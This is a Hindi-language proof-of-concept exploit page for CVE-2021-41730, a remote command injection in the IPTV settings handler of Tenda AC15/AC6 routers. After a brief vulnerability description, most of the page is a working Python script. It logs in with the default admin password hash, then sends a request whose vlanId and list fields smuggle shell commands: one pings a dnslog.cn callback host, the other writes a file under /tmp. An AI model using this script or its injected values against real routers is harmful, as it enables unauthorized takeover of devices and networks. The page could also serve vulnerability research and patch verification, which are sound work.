
CVE-2021-41730 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो TENDA AC15/AC6 राउटर्स में अमान्य formSetIptv() पैरामीटर्स के माध्यम से रिमोट कमांड निष्पादन को प्रदर्शित करता है। इसमें Python POC और भेद्यता विश्लेषण शामिल है।
शोषक लेखक: SHENGXI HUANG([email protected])
विक्रेता: TENDA
फर्मवेयर संस्करण:
AC15: <=US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin
AC6: US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.......
हार्डवेयर लिंक: https://www.tendacn.com/en/download/detail-3858.html
httpd बाइनरी में, मान्य सत्यापन की कमी के कारण, हमलावर पैकेटों में stbEn, igmpEn, iptvType, vlanId और List फ़ील्ड के मानों के साथ छेड़छाड़ कर सकते हैं, जिससे बचाव की एक श्रृंखला को साकार किया जा सकता है, जिसके परिणामस्वरूप रिमोट मनमाना कमांड निष्पादन भेद्यता उत्पन्न होती है।
formSetIptv()

sub_B0F14() / sub_B1100()




# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
def POC(ip,cmd1,cmd2,pwd):
try:
body = {
'username': 'admin',
'password': pwd
}
headers = {
'Host': ip,
'Accept': '*/*',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://' + ip,
'Referer': 'http://' + ip + '/login.html',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close'
}
r = requests.post(url="http://" + ip + "/login/Auth",
data=body,
headers=headers,
allow_redirects=False )
password = r.headers['Set-Cookie'].strip("password=").strip("; path=/")
try:
body = {
'stbEn':'1',
'igmpEn':'0',
'iptvType':'manual',
'vlanId':cmd1,
'list':cmd2 }
headers = {
'Host': ip,
'Accept': 'application/json, text/javascript, */*; q=0.01',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://'+ip,
'Referer': 'http://'+ip+'/iptv.html?random=0.5429353367490362&',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'password='+password,
'Content-Type':'application/x-www-form-urlencoded'}
r = requests.post(url="http://" + ip + "/goform/SetIPTVCfg",
data=body,
headers=headers,
allow_redirects=False)
print(r.text)
except Exception as e:
print("[error]:", ip)
except Exception as e:
print("[error]:", ip)
if __name__ == "__main__":
ip = '192.168.0.1'
cmd1 = '1";ping -c 5 fry8vd.dnslog.cn;echo "'
cmd2 = '1";echo 2>/tmp/hello3.txt;echo "'
password = '21232f297a57a5a743894a0e4a801fc3'
POC(ip,cmd1,cmd2,password)